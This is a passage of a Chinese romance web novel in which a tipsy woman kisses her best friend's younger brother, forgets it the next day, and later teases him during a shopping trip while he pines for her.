他似乎用了许久时间才缓过神来现在面临的情况,唇上的触感一点点变得清晰真实,温热,潮润,僵在空气中手终是在对方一点点地蚕食下,没按捺住,缓缓抬起,按在了她的后脑勺上,学着她的动作回应。
季野被她压得一点点往后倒,靠在了沙发上,一只手扶住她后脑勺,另一只手虚虚圈住她。
吻着吻着,徐诗柚逐渐不满足这样的浅尝辄止,试探性地伸了伸舌尖。
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对方似是不太能适应,动作又变得僵硬起来。
徐诗柚试了好几遍,都没能探进去,她抬手在他的后颈上轻轻捏了捏,用气音诱哄:“阿野乖,张嘴……”
因着这声叫唤,季野呼吸都乱了。
他对她这声“阿野”毫无抵抗力。
齿关一松,便任由她长驱直入,攻城略地。
徐诗柚的吻带着醉后的莽撞,酒气的甜腻顺着她柔软的舌头一并卷入,侵袭着他的所有感官。
有柔软压过胸膛,触感透过薄薄的衣料传来,清晰到他扶着她的手都在轻颤。
黑暗寂静的大厅里,一切的感官都被放大,他感受到她贴在自己身上的每一寸热度,听到耳边缠绵的暧昧水声,以及自己疯狂跳动的心脏。
他根本无法控制身体的反应,只好自暴自弃地任其发展。
醉酒的徐诗柚像只八爪鱼一样只想死死缠紧他,以至于整个人都无意识地一直往前贴。
紧闭的双眸倏然睁大,原本虚圈着她身体的手猛一收紧,实实在在地把人往自己怀里又推送了把。
这一压,自作自受,温软娇体贴他更密了。
季野再也抑不住,猝不及防的,一声闷哼不受控地从唇瓣溢出。
整张脸,迅速从耳根红到脖颈,浑身都在发烫。
他开始意识到不对。
他原本,只是想获得姐姐一个纯情的亲亲来着……
但现在的发展已经超出他可控范围了,再这样亲下去,他怕自己会……
他猛然回过神来,喉结急促滚动着错开脸:“姐姐,等…等等……”
“不要,不等。”
徐诗柚任性又霸道地把他脸掰回来,低头又吻上去,拇指摩挲过他线条清晰的下颌线,又顺着下颌线,一路摸到喉结。
她的吻也从唇逐渐往下移,吻过下巴,脖颈,再轻轻含-住了他的喉结……
季野仰着头,眼睛半阖,喉结上下滚动着,全身筋肉都紧绷。
他被吻得七荤八素,晕晕沉沉的,算了,就这么死在这吧。
他这么想着,直到有冰凉的触感划过腹部……
季野浑身一颤,急忙按住了那不知道什么时候跑到他衬衫底下作乱的手。
“姐姐!”
徐诗柚被他从身上极速拉开。
季野额头抵在她肩上,低头喘息着,缓解状态。
几秒后,他把她抱起,轻轻放倒在沙发上。
“姐姐你等等,我一会就回……”
他丢下这么句话,狼狈地跑回了卧室。
回到卧室,季野直接冲进了卫生间,第一时间打开冷水冲脸。
好险……
这未经人事的身体敏感得不行,根本受不了这般撩拨,何况还是自己渴望了这么多年的人……
差点,都还没那什么更深入的发展呢,他都要交代了。
要真那样,徐诗柚估计会笑话他一辈子的吧。
……
季野冷静下来的时候,徐诗柚已经在沙发上沉沉睡去了。
他蹲下身去,撩开她垂在脸侧的发,试探性地喊了声:“姐姐?”
喊了几次也没喊醒,他有些失望地垂下了脑袋:“姐姐,不亲了吗……”
他好像,还有点没亲够。
他目光落在她唇上,不知道是不是刚才亲吻过的缘故,在月光下显得格外红艳,唇上还挂着点水渍,像颗饱满待摘的水蜜桃。
不够……
想亲,还想亲……
想把她拆吞入腹。
想把她融入身体。
想……
不能想了。
再想就是另一个频道了。
他起身,偷偷在她唇上轻啄一口,把人抱起……
19. 渣女
季野第二天醒来的时候,不出意外地在梦里把自己给交代了。
他昨晚做了一宿关于徐诗柚的梦。
他刷着牙,精神萎靡地看着镜子里的人,眼底乌青明显,唇角却是抑制不住地上扬。
他有几秒分不清现实和梦境。
毕竟能和喜欢多年的人拥抱亲吻这种事,真的不太像现实。
这感觉简直妙不可言,幸福到快晕阙的程度。
要不是注意到自己颈侧的那一抹红,他都要怀疑是不是自己多年幻想变幻视了……
-
季野出房门的时候,季薇已经起来了,正瘫在沙发上无法自理的样子。
听见声音,头也没抬地冲他招了招手:“弟啊,给你姐我弄完醒酒汤呗,我头好疼。”
季野没犹豫:“好。”
没抱什么希望,不过随口说说的季薇却猛地从沙发上坐了起来,怀疑地扭头:“你没事吧?”
以前指使他,得到的都是“滚”“自己弄”这样的回复,当然,他嘴上这么骂,但每次还都会替她弄好。
这次怎么这么听话了?
见他眼下泛着层淡淡的青黑,她挑了挑眉:“昨晚做贼去了?”
季野没理会她,视线朝主卧望去,房门紧闭着,徐诗柚还没出来。
他故作不经意问:“就你起来了?”
季薇又懒懒地躺了回去:“柚子还在睡呢,她昨晚比我喝得多。”
季野皱眉:“怎么喝这么多?你俩不能控制点吗?”
“小屁孩管那么多做什么?心情不好还不让喝几杯了?”
“她……诗柚姐她心情不好?”昨晚姐姐自己也说过不开心来着……
“嗯。”
“因为什么?”
“一个渣男。”
“……”季野不想听了。
会不开心就代表还在意。
他不想想,徐诗柚是不是还喜欢着那人,如果是,那昨晚和他的又算什么……
好心情坏了一半,他酸溜溜地去煮醒酒汤。
等醒酒汤煮好,点的早餐也上门了,主卧的房门还是紧闭着。
“姐,你不去喊下诗柚姐吗?让她起来吃点吧。”
季薇好不容易从沙发挪到了餐桌,趴在那压根不想动,宿醉真难受。
“你去叫吧,我不想动。”
季野去敲房门:“诗柚姐,你起来了吗?”
敲了半晌,没人应。
估计宿醉够折磨的,要不还是让她继续睡吧?
他这么想着的时候,门开了。
徐诗柚探出颗乱糟糟的脑袋,头发凌乱地披散着,遮挡住视线。
她打了个哈欠,无精打采地把头发随意往后捋去:“早啊,弟弟。”
头发撩起,露出一张花猫脸。
呃,昨晚是让她带妆睡的,毕竟他也不会卸妆,更不好帮她卸妆……
但季野非但不觉得丑,还觉得她这样子也很可爱。
“早,姐——”姐姐两字刚要出口,又被他及时拐了回去,“诗柚姐早,出来吃早餐吗?”
“哦,那等我洗漱下。”徐诗柚说完,砰地又把房门关上了。
季野站在门外怔愣半晌,怎么感觉,姐姐的反应,这么平静……
也不是平静,就是和平时差不多。
但季野以为,经过昨晚,两人应该多少会有点尴尬,或者不自在什么的?
反正他自己就浑身不得劲,感觉怪怪的,好像都有点不知道该怎么相处了,刚才敲门都在心里酝酿了半天。
是一种隐秘的,既欣喜又尴尬怪异的不自在感。
但对方,也自然过头了?
徐诗柚挪到餐桌后,也是一头就栽倒在桌面。
她和季薇两个,脸贴着桌,面朝着面,都一副难姐难妹无法自理的状态。
季野给一人端了一碗醒酒汤到跟前,把早餐的饭盒都打开,嘱咐:“先吃点东西再喝,空腹喝容易刺激肠胃。”
徐诗柚直起了身,看了眼一桌子准备妥帖的早餐和醒酒汤,看向季野,展开笑颜:“谢了弟弟,真贴心。”
季野这一早上,终于被她正眼瞧了一回,顿时心脏狂跳,慌忙低下头去:“不客气……”
不自然的好像只有他?
“你俩干嘛呢?”季薇也支起了身,“平时说话都这么客气的吗?”
徐诗柚咳了声:“这叫礼貌。”
“礼貌个什么劲,你不是说我弟就是你弟吗?别客气,随意指使。”说完,还特高傲地朝季野扬了扬下巴,“对吧,弟?”
“……”季野想找块布把她嘴堵上。
因为宿醉,季薇这一上午都没准备去上班,顺便也通知了昨晚跟她一起出去鬼混的员工,今天上午休息。
季薇在家,做什么都要和徐诗柚粘在一块,连徐诗柚直播,她都要在旁边跟着一起出镜叨叨,季野压根没有和徐诗柚说上话的机会。
“姐,你还不上班吗?”
“你姐我就休息一上午,碍你眼了是吧?怎么光想赶我走?”
“……公司没了你不行。”
“我让位,你行你上。”
“……”
好不容易熬到下午,季薇终于肯出门了。
临走的时候,还一脸精神萎靡地拍着徐诗柚的肩,劝诫道:“柚啊,我看你直播接的单子收益也不低,要是不想那么累,还是别去公司当什么牛马了,一点自由都没,我是家里公司没办法,你要是不想和我一样提前衰老,精神衰弱,咱要没什么特别大的理想,就还是做点自己喜欢的事吧!”
昨晚才和她说了秦聿给她推荐工作的事,徐诗柚觉得季薇是在点她,不过她也听进去了。
“好。”
把季薇送走,她才一转身,便撞上了一双亮晶晶眼巴巴的眸。
徐诗柚几乎要可视化地看见季野身后那摇成螺旋桨的尾巴了。
她怔愣几秒,扬眉:“怎么?”
“姐姐,昨晚……”季野迫不及待地想就昨晚的事展开聊聊。
“昨晚?”徐诗柚反应了下,恍然大悟,“哦,昨晚,对了,昨晚是你把我们接回来的吧?又麻烦你了弟弟。”
“……”季野有不好的预感。
“姐姐你……还记得昨晚的事吗?”
“嗯?记得啊,你把我们送回来的嘛,不是吗?还是你指的什么事?”
“……”小狗耳朵和尾巴一同耷拉了下去,“没什么了。”
被搅得心猿意马了一晚上的,只有他。
难怪她这么自然。
幸福破灭,小狗垂头丧气。
他就知道,幸福不可能来得这么容易!
姐姐好渣,占完便宜不负责!
小狗愤愤地想。
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因为季薇回来了,不用在意独处的问题,季野没课了就往家里跑。
季薇都不可思议:“你很闲吗?怎么天天往家里跑?”
“想吃姐你做的菜。”季野平静应对。
“啊!!你不要这么说话,我鸡皮疙瘩都起了!好肉麻!!!”季薇受不了地搓了搓自己胳膊。
她还背地里悄悄戳了徐诗柚:“你觉不觉得我弟有点怪?他以前也没这么恋家啊?”
徐诗柚无辜地眨了眨眼:“可能是,家里有他恋的东西?比如……我?”
“怎么个怪法?怪喜欢我?”
季薇:“……”
嗯,脸皮挺厚,是她以前认识的徐诗柚没错。
季薇真心为她的脸皮厚感到高兴。
毕竟脸皮厚,也是自信的一种体现。
徐诗柚本来就有自信的资本,都是那狗男人磨灭了她的棱角。
她喜欢她的锋芒。
-
季薇回来后,徐诗柚又在她家呆了三天,三天后,她准备走了。
“我才回来几天你就走?再多住几天呗?当陪我~”季薇坐在梳妆台前,认真往脸上涂抹着护肤品。
徐诗柚在她床上画设定稿:“再呆下去我这腰都要粗一圈了,而且我那房子,交着房租不住,怪浪费的。”
“也是,不过你也得抽空过来陪我,知道吗?”
徐诗柚没什么所谓:“反正我现在这工作挺自由的,随叫随到。”
季薇本来还想问问,秦聿给她推荐的那份工作她是怎么考虑的,但想了想,又算了。她既然都没想起那狗,她干嘛还要提。
“那你明天什么时候走,我送你?”
“不用啦,我起来的时候你都出门了,估计9点多10点的时候走吧。”
“行。”
……
“弟啊,我好像有个文件落家里了,你这会有课没?没有的话,速速给你姐我送来?”
第二天,季野在学校接到了季薇电话,有些疑惑:“怎么不让诗柚姐给你送?”
落在家里的话,姐姐给她送更快吧。
“她走了呀,你不知道吗?”
季野呼吸一滞,脑子有些无法运转:“走,走哪去了?”
“当然是回她自己那啊,还能去哪?”
是哦,姐姐只是过来暂住的,当然会走。
但是,都不和他说一声吗……
“哦……她没跟我说。”季野闷闷道。
“没说就没说吧,她去哪又不用跟你交代。你快回去给我拿。”
季薇就那么随口一说,这话却像一根刺扎入了季野心脏。
是哦,她去哪又不用跟他交代,哪怕他觉得他们现在关系亲密,那不也没什么关系吗?
甚至,连他们都亲过的事她也因为酒后断片,忘了个干净。
觉得关系亲密的,只是他单方面而已。
-
徐诗柚起晚了。
一睁眼已经接近中午。
所幸她东西不多,收拾起来不怎么费劲,等东西都收拾好后,她才准备把睡衣换下。
衣服脱至一半的时候,门开了。
她回头看去,季野正瞪圆了眼愣在那。
“对、对不起!”
砰——
门又被重重关上。
徐诗柚:“……”
20. 小狗
季野慌乱无措地呆站在门外,满脑子都是刚才看到的白花花景象。
徐诗柚就站在床边,背对着门,睡衣扣子都解开了,衣服从肩膀滑落,褪至一半……
衣服里面,什么都没,只有她光洁白皙的背……
不是,姐不是说她已经走了吗!!
咔哒——
门开了。
听见这声音,季野浑身的毛都倏然炸起,活像只受了惊的猫。
徐诗柚出来的时候,瞧见他正额头抵着墙,一副面壁思过的姿态,耳根烧得通红,也不敢看她。
“……这是在干嘛呢?”
季野缓缓挪动着脑袋过来,目光漂移,解释:“我不知道你在里面,我以为你走了……”
“哦。”徐诗柚点点头,确实是她睡过头,“知道了。”
“那什么,我什么都没看见!”他急忙又补了句。
徐诗柚撩起眼皮望去,但笑不语。
季野脸更红了,这话多少有点此地无银了,自己都觉得说出来没什么可信度。
见他这样,徐诗柚眉眼弯得更甚,忍不住逗他:“哦~没看见~”
她朝他走近一步,抬手,摸上他耳朵:“那弟弟耳朵怎么这么红?”
“我……”
眼看他耳朵从淡粉逐渐加深,红到快滴血了,一张脸也窘迫到涨得通红,嘴巴张张合合地硬是挤不出一句完整的话。
她桃花眼弯着,还在逗:“哎呀,怎么不说‘别摸我’了~”
徐诗柚还记着他上次不让摸头的事。
因为更过分的地方她都摸过了……
季野红着脸,低头想着。
不过耳朵还是被她弄得好痒,他偏了偏头,想避开些,幅度很小,没有真要挣脱开她手的意思。
好像不管她怎么碰,他都会忍着一样。
有点逗小狗那感觉了。
徐诗柚心满意足地收回了手。
季野这才瞧见了她身旁立着的小行李箱:“姐姐要走了?”
“嗯,本来想早点走的……”她指节刮了下鼻子,也有些不好意思,“结果不小心睡过了头。”
“那我送你吧。”
徐诗柚又看他:“你会开车吗?”
季野无奈:“姐姐,你是不是不记得喝醉那晚是怎么回来的了?驾驶证我毕业就拿了。”
“好吧。”徐诗柚掏出自己车钥匙,递给他,“那就麻烦弟弟了。”
-
季野这一送,直接把她送进了家。
这还是他第一次来徐诗柚家,尽量克制住自己想要乱瞟的眼神。
房子不是很大,但该有的都有,是一个人住着比较舒服的大小。
“要喝杯水吗?”来都来了,总要给对方倒杯水的。
不过徐诗柚好一段时间没回来了,家里什么都没有,水也要重新烧。
“好。”季野还不是很想走,说什么都应着。
烧水的功夫,徐诗柚让他先到沙发上坐会,自己则是把家里窗户窗帘的都打开,通通风,又把行李都送回了房间。
出来的时候,水也烧好了,给季野倒了杯。
水很烫,所以喝得也很慢。
徐诗柚没把他当外人招待,倒了水后,自己又该忙啥忙啥。
季野眼睛不受控地一直追随着她乱转,她走到哪,他视线就跟到哪。
再烫的水,也有放凉的时候,磨磨蹭蹭到喝完,好像就没什么借口再留下了。
但徐诗柚忙完又问他:“吃饭了没?”
季野立马竖起了耳朵,声音都提高了几分:“没!”
“那——”
嗡——
手机震动音响起。
季野不耐地翻出手机,来电显示都没看清就按了接通。
季薇充满“温柔”的嗓音从那头响起:“我亲爱的弟弟~请问,你是把我的文件送到太平洋了吗~嗯?”
文件?
文件!!!
对哦,他都忘了自己是回来找文件的了……
文件文件,靠,压根没带!不,根本没找……
见到徐诗柚的瞬间,他好像脑子就丢了。
他放下手机,望向徐诗柚,眼底的沮丧快溢出来。
“看来薇薇找你有事啊?”
“嗯,我得走了……”他叹气。
“你姐挺急的?那还是赶紧去吧。”
“哦……”
送到门口了,小狗还在一步三回头,那“不想走”的意思都快写脸上了,徐诗柚想假装看不见都难。
她勉强说了句:“我有空还是会过去找你姐蹭饭的,也还会过去住,到时候你们别嫌弃我就行。”
耷拉着的耳朵终于有了点生气,立马表示:“不会!那姐姐什么时候来?”
……她这不是才回来吗?
怎么就在问下次了?
“还不知道。”
“那你要是过来……”
季薇的夺命连环call又来了,催命般。
季野烦躁地抓了抓头发,最后只能匆匆告别:“算了,我先走了,再不送去,我怕我姐要杀过来了。”
徐诗柚想象了下那场面,也笑了:“好。”
-
徐诗柚说是偶尔会过来,结果季野快一个月都没见到她人了。
中间唯一一次联系,还是因为建模的那个单子。
听她说,客户那边很满意,觉得她很用心,为此还自发帮她宣传了下,她也因此多了不少客户,所以发信息来感谢他。
还给他转了一笔钱,说是他的辛苦费,必须收下。
然后就没了。
是的,再没其他了。
季野又恢复了以前还没重遇她时,和她毫无交集的状态。
只能阴暗地从他姐的朋友圈,窥探到她的一些蛛丝马迹。
要么就是蹲在直播间看看她只有手的画面,听她偶尔说两句话解解馋。
徐诗柚是有去找他姐的,次数还不少,两人经常一起吃饭,因为季薇的朋友圈偶尔会发合照。
她只是没找他。
毕竟他们也不是什么必要联系的关系……
徐诗柚的朋友圈季野也不知道一天要翻上几遍,比皇帝批阅奏折都认真。
她的朋友圈,大多是一些工作上的内容,以前发的是公司的内容,现在偶尔会发些自己的手作,还有排单什么的,看得出来她这个月很忙。
季野看得最多的一条朋友圈,是他送她回家那晚发的。
也是她的手工作品,是只黑色小狗人偶,像被人弃养了一样,耷拉着耳朵,垂头丧气的样子,让人很想抱回家。
配文也只有“小狗”两个字。
季野反复对比过图片上的小狗和徐诗柚曾经送给过自己的那只小狗,形态真的很像。
整体造型上的一些细节变了,手工也比他那个精致很多,但就是神态什么的,让人感觉很像。
而且发这条圈的日期又这么特殊,季野实在没法不多想。
毕竟姐姐曾经说过,觉得这小狗像他……
所以,这小狗会是指他吗?还是,她还有别的狗?
他想得出神,台上老师讲的什么是一个字都没听进去。
旁侧传来孟嘉信的轻笑声。
他斜眼看去,就见舍友一直低头扣手机,眼角眉梢都春心荡漾的,不知道聊什么聊这么开心。
季野转动着笔,盯了他一会,对方也毫无察觉。
“聊什么呢,笑这么猥琐?”莫名觉得他笑得有些碍眼,季野伸腿踹了他一下。
孟嘉信抬头看来,唇角还挂着未散的笑意:“没啊,就是跟姐姐聊些圈子里的八卦。”
季野眼皮一跳:“哪个姐姐?”
孟嘉信:“嗯?你姐啊?我们还挺聊得来的……”
季野一把夺过他手机,看了眼头像,明晃晃的,就是徐诗柚的。
随手刷过两人的聊天记录,长长的,居然一下还拉不完,几乎隔三差五地就会说上几句……
“你干嘛呢?干嘛乱看别人的聊天记录!”孟嘉信脸红了下,扑过去抢。
再对上季野阴沉的脸色,愣了。
他摸了摸鼻子,有些不好意思地开口:“我就是感觉和你姐聊天挺有意思的,共同话题也多……那个,你应该不介意吧?”
“我介意什么?”季野冷着脸应他。
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“毕竟之前我们和薇薇姐多聊几句你都挺有意见的……”孟嘉信开玩笑道,“诗柚姐不是你姐姐的闺蜜嘛?这么说来,也相当于你姐不是?看你们之前好像也是以姐弟相称,这不是怕你姐控病又犯了嘛?”
“话说,你是把诗柚姐当姐姐的吧?就是……薇薇姐那种?”
孟嘉信问这话的时候也是笑着的,像还在开玩笑,但试探的意味很浓。
季野听出来了,黑了脸:“……你什么意思?”
“没呀,就是……”孟嘉信说到这,也不藏着了,挠挠头,笑得有些羞涩,“就是,我能不能追你姐呀?她真是我喜欢的类型诶……”
-
“他真的……每周都来找你吃饭?”
视频那头,季薇从文件里探出头来。
徐诗柚捏着手作的单子,手机摆在一旁支架上,平淡地回应:“是啊,你说他是不是挺闲的?这一天到晚两地飞的也不嫌累。”
“我去,你还给他心疼上了?”
“没,我只是觉得他有病而已。”
“这是不是叫那什么,追妻火葬场?他这是想追回你的意思?”
“追回我?”徐诗柚歪头想了想,又自嘲地笑笑,摇头,“他什么时候追过我了?我怎么不知道。”
“……也是,都是你追着他跑。”
“他连喊我吃饭都一副纾尊降贵的样子,追我?我是不敢想了。”
“那你还巴巴地去?也没见你拒绝啊?”季薇冷哼了声。
“……我这不是,看看他到底想干嘛嘛?”徐诗柚眼神飘了下。
“呵呵。”
“而且,他难得花心思给我安排了工作,还用自己的人情给我开后门,结果我却拒绝了,就感觉对他挺抱歉的……”
“你对他就是太心软了,对你一点好,都恨不得十倍偿还。”
虽然季薇这么说,但徐诗柚想,其实秦聿对她还是挺关照的,只是他嘴上从来不会说点好听的。
他就是那样的人,背后为你做得再多,嘴上都不会说半句,他要是个彻头彻尾的渣还好,偏偏他又不是。
甚至感情上,他也在最初就清清楚楚明明白白地告诉过她,他不会是个好对象,也不想被感情束缚,所以不会跟她谈感情。
徐诗柚有时候也不明白,自己到底是还对他抱着些什么期待?是放不下,是不甘心,还是,只是不想让大家最后都太难看。
毕竟互相好过,他对她也不薄,包括在分开半年后,知道她没了工作,还会为她出头,为她安排工作。
他也许不会是个值得爱的人,却可以称得上是个很有情义的人。
秦聿那天给她安排工作后让她考虑下,结果之后她就把这件事给忘了。
她自己也挺惊讶的,这份工作她不是不动心的,毕竟是很难得的机会。
但那段时间,单子突然暴增,她忙都忙不过来,就直接把这事给抛之脑后了。
这么重要的事都能忘,其实有点说不过去,也是这时候,徐诗柚才意识到,自己也许也并没有很喜欢策划这份工作。
更多的,可能是一种对世俗追求的执念。
一些很俗的理由,比如,觉得自己在这个行业付出了这么多,就不该轻易放弃,比如,觉得该有一份体面的工作才好意思和别人提及,比如,觉得就该在专业领域上发光发亮,出人头地。
等意识到这点的时候,她就拒绝了秦聿给她安排的工作,气得他当晚就订机票走了。
徐诗柚都以为他不会再来了,毕竟热脸贴人冷屁股的事他是不干的,还会觉得她不识好歹。
但再下一周,秦聿还是来了,并且没再和她提过工作的事,只是简单地吃了个饭。
徐诗柚也想过,他是不是想和她修复关系,但他从未开口提过,徐诗柚便也不提。
她甚至想,他是不是又想像以前那样,吊着她,让她看到点希望,然后继续巴巴地往上凑?
“算了,不提他了。”季薇在那边嫌弃地挥了挥手。
“咱说点其他的。”说到这,季薇忽然眯起了眼,一脸审视地凑到视频前盯住她,“我问你啊,你跟我弟之间……是不是有点什么我不知道的?嗯?”
21. 钓鱼
徐诗柚被她盯得心下咯噔,表面却仍旧情绪不显地问:“为什么这么说?”
季薇转着笔,慢悠悠靠回椅背上:“那小子这阵子也不知道怎么回事,三天两头地跟我打听你的事……”
“还以为自己问得超~不经意呢~”季薇说得颇为鄙夷,真当她这个当姐的是吃素的啊?
就算她一开始确实没起疑,也架不住次数多啊。
“他……怎么打听?”徐诗柚悄咪咪竖起耳朵。
“比如,我拉他去超市买菜要下厨的时候,他就突然来一句,要不要叫上诗柚姐?”
“比如,吃着饭突然问我,你最近跟我联系怎么样?”
“比如,我跟你打电话的时候,总在我身后乱晃,各种假装经过……”
“反正就是狗狗祟祟的……”
“更奇怪的是,他居然还要跟我学做饭!”
“你别看他现在好像很贴心还会给我打下手的样子,以前在家的时候,都是很少爷做派的,十指不沾阳春水,哪自己动手做过饭了?”
“我本来以为他就是一时心血来潮,结果他还学得挺认真的,你不知道,最近我下班回家都能吃上口热乎的了……”
“终于有种,吾家有弟初养成了的成就感!”
“弟弟会孝敬你这姐姐了,这还不好吗?”徐诗柚听完,淡笑道。
“好是好……不对!我要说的不是这个,你少给我打岔!我是问你们之间,是不是有什么?”
“……”
徐诗柚鼓了鼓腮帮子,傲娇道,“不好说,毕竟我魅力这么大,说不定弟弟早对我芳心暗许了呢?”
“……”季薇翻了个白眼,换了个角度问,“那你呢,你对我弟现在什么想法?还是crush中?”
徐诗柚凝思了会,试探性回:“我要说,我对你弟是见色起意……你会揍我吗?”
“卧槽,你要不要看看你自己在说什么!!”季薇瞪圆了眼,“他还只是个孩子!!!”
“……”
-
【姐姐你是在养鱼吗?】
挂断了和季薇的视频通话,徐诗柚退出来,就看见这么条信息。
等她点进去聊天框,就只剩下一条撤回提醒了。
“……”
她盯住季野的那条撤回提示,短暂地陷入了茫然。
是她看错了吗?
她发了个问号过去,装作不知情:【嗯?弟弟发什么了?】
小狗:【没,发错了……】
虽然看不见表情,听不见语气,但徐诗柚莫名就是从文字上感受到了一点小狗沮丧的气息。
但她没问:【哦。】
回应的态度冷淡。
她其实有快一个月没见季野了,主要是孟嘉信在自己的账号上替她做了宣传后,她直播间就迎来了一波流量,好多单子突然朝她砸来,排期都排不过来了。
之前和孟嘉信约出去那次,孟嘉信问过她能不能拍张照上传到他的账号上,说可以替她宣传下。
徐诗柚觉得没什么关系,就答应了。没想到他的粉丝信任度还挺高的,他这一推荐,好多人就找了过来,还多了好多男粉……
嗯,应该说是颜粉。
天天在她直播间姐姐姐姐,能不能露个脸之类的。
孟嘉信也一直给她丢单子,中间偶尔会主动找她聊天什么的。
考虑到对方是甲方爸爸,又给她引流带来了这么多生意,徐诗柚是不可能晾着他的,不如说还挺感谢。
所以孟嘉信偶尔来找她唠唠嗑,她也没冷落。而且他也不是那种说话让人很不舒服的类型,算得上进退有度。
徐诗柚反而觉得他是个分享欲很强的人,经常给她发的都是些什么搞笑的有意思的视频,或链接,又或者跟她分享些二次元圈里的八卦,她也看得津津有味,更不好不理人了。
不过,孟嘉信跟季野是舍友,季野突然问她是不是在养鱼,难道和这有关?
小狗:【姐姐,你在忙吗……】
许是见她态度冷淡,小狗又主动挑起了话头。
虽说快一个月没见,但徐诗柚没找他,弟弟不也没主动找过她?
一来就说她养鱼,知道她养鱼还问什么?
徐诗柚也有些忿忿。
你可不就是姐姐最大的鱼嘛?
【嗯,是在忙。】
太晾着也不好,她思忖了会,朝鱼儿轻轻抛下了钩子:【听你姐说,你最近在学做菜?】
小狗:【嗯。】
嗯?就这样?没劲。
徐诗柚不回了。
过了几秒——
小狗:【姐姐想试试吗?我做的菜。】
鱼儿咬钩了。
徐诗柚勾起了唇,回:【想是想的,不过我这阵子有点忙诶,可能没空去你姐那……】
小狗:【那……】
小狗:【我去姐姐家做也行……】
徐诗柚眉头轻动,故意等了会,没着急回。
没想到对方还没挺上几秒就等不及补上了句:【我是说,如果姐姐不介意的话……】
徐诗柚隔着屏幕都仿佛能看到到对方慌乱敲字的样子:【啊,会不会太麻烦你了?】
【不会!我下午没课,要不……今晚?】
小狗问得小心翼翼的,生怕被拒绝。
徐诗柚没再逗他:【那你准备做什么菜?给我发下需要的食材吧,我等会去买。】
她天天都吃的外卖,家里哪有什么东西。
小狗:【我跟姐姐一起去吧,菜那些也不轻的。】
毕竟季薇每回去采购都要带上他去当免费苦力,确实不轻的。
【也行,那下午见?】
小狗雀跃:【好!】
-
季野之前来送过徐诗柚一次,知道她家附近的超市在哪。
两人约了在超市前碰头。
瞧见对方的刹那,都不由一怔。
因为他们今天的穿着,实在有点太像了……
像约好了似的,都是白色卫衣加工装裤。
徐诗柚是想着,出门买个菜而已,所以穿得比较休闲随意,偏中性,季野的话,好像平时穿搭就都有点酷酷的,倒不奇怪。
两人也都只是打量了对方的穿着一眼,默契地相视一笑,也没刻意说出来。
总不能说像情侣装吧?
两人推了辆小车。
主要是季野推,她在旁边插着个兜。
“等下你选,我付钱,知道吗?”以季野的性格,徐诗柚怕等会付钱的时候他会抢着付,先提前强调了。
果然,他立马接话:“不用,我……”
“你选,我付。”徐诗柚直接伸出手指点点他,又点点自己,不容反驳,“嗯?听话。”
季野不吱声了,听话点头:“好。”
徐诗柚这才解释:“之前我就说过几次要请你吃饭了,不是一直没兑现嘛?结果这次还要麻烦你来给我做饭,至少让我付个菜钱吧,不然我吃得都不安心。”
“万一我还喜欢上吃了呢?你不让我付钱,我以后哪还好意思再请你啊?”
“姐姐想吃的话,什么时候都可以,不用不好意思的……”
“随叫随到?”
“只要不是上课时间!”
徐诗柚啧了声,倪向他,眼神意味深长。
季野慌忙飘开视线。
啊,是不是表现得太明显了……
“先来这边。”徐诗柚没再追问下去,忽的拉住他往家居区走,在卖家居鞋的地方停
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了下来。
“我家没有男士的家居鞋,你自己看下尺码,选一双吧。”
季野有些怔愣,他才第一次去,就特意给他准备鞋子……
一般给家里来客准备的话,都是一次性的吧,或者通用的,不会特意买一双符合尺码的吧?
这意思是不是……
“这双怎么样?”徐诗柚挑了双拿起,“我也是买的这种,穿着挺舒适的……”
“那就这双!”季野立马拍板,就她手上的样式换了双符合自己尺码的。
选完鞋子,他们拐出家居区,往生鲜区的方向去。
看季野拐错方向,徐诗柚扯着他袖子把人拉了回来,“走这边。”
他们前面,还有一对情侣在走着,男方用一只手推着车,另一只手牵着女朋友,女生没被牵的那只手,直接抱住男生的手臂,粘粘糊糊地贴得可近。
季野的目光落向徐诗柚还揪在他袖子上的手。
他们这样,是不是也有点像情侣逛超市?
要是也能牵手就好了……
“要什么菜?”进了生鲜区后,徐诗柚自然地松开了手,随手掂起一盒平菇看了眼。
季野回过神来,也看向菜区。
徐诗柚只会吃,不会拣菜,倒是季野,经常被季薇带着逛菜区,有几分经验。
很快,他就把需要的食材都挑选好了,堆了一车子。
“这是不是买太多了?”她又不是猪。
“没事,剩下的放冰箱里。”
可是,放冰箱里她也不会做呀,只会放到烂……
不过也不是什么大事,他要买就买吧,弟弟喜欢就好。
在收银台等待结账的时候,季野视线瞥见了旁边一排花花绿绿的架子,架子上的牌子写着“买六送一”。
收银员扫了两人的穿着一眼,心下了然。
在他的目光下,顺手拿过一组捆绑好的:“现在这个做活动,买六送一,很划算的,两位要不要拿一组?”
季野这才看清了那一排是什么东西,顿时耳根红透。
他刚才就是眼睛闲着,没事多看了眼而已。
没想到就被误解了。
“不……”
“啊,是挺划算的,那就带上吧。”葱白莹润的手从他面前伸过,毫不避忌地拿起了那一组小盒子。
季野那句“不用”还卡在喉咙里,傻愣愣地看着徐诗柚动作自然地把扫完的物品扔进了车内。
他都快原地烧红了,大脑一片空白,人都是被徐诗柚拽着出去的。
到外面冷风一吹,清醒了几分。
视线慌乱地扫向购物车,那东西就被丢在最上面,明晃晃,赤.裸.裸……
什么??
这什么???
是他想的那样吗????
“发什么呆呢?快装袋啊。”徐诗柚戳了戳他,“怎么跟块木头一样?”
“啊?哦……”
季野恍惚的神思回笼,喉结滚动两下,几乎想也没想,把那组盒子,率先扔进了袋,再拿一堆菜塞进去,堵着。
这下看不见了。
回去的路上,他几度欲言又止。
总是控制不住地拿眼神瞥向副驾的人。
但对方始终态度自然得像没事发生,一路上都在低头回信息。
他很想问……
但他能问吗???
万一是他想多了,岂不是显得很下作?
但如果不是他想的那样,又为什么要当着他的面买……
哪怕是他亲姐也不会这么干啊……
一想到如果不是他想的那个意思,他就更难受了。
那她买这么多的用处……
这是不是说,除了他,姐姐家里还会有其他异性来?
22. 暴露
到家后,季野报了今晚的菜名。
可乐鸡翅,土豆烧排骨,蒜蓉粉丝娃娃菜,菌菇豆腐汤……
徐诗柚发现,竟都是她平时在季薇那爱吃的……
她看了眼季野,对方正从袋子里往外取菜,取到最后时,又看到了那组“买六送一”。
他手顿了顿,耳尖红红地对上徐诗柚视线。
“姐、姐姐,这个……”
“哦~”徐诗柚垂目,落向他手边的东西,态度自然地伸过手,“给我吧,我放到房里去。”
“……”季野张了张嘴,还是问不出什么。
徐诗柚假装没看见,拿回房间,看也没看地随手丢进了床头柜。
一时兴起,买来逗小狗的玩意罢了。
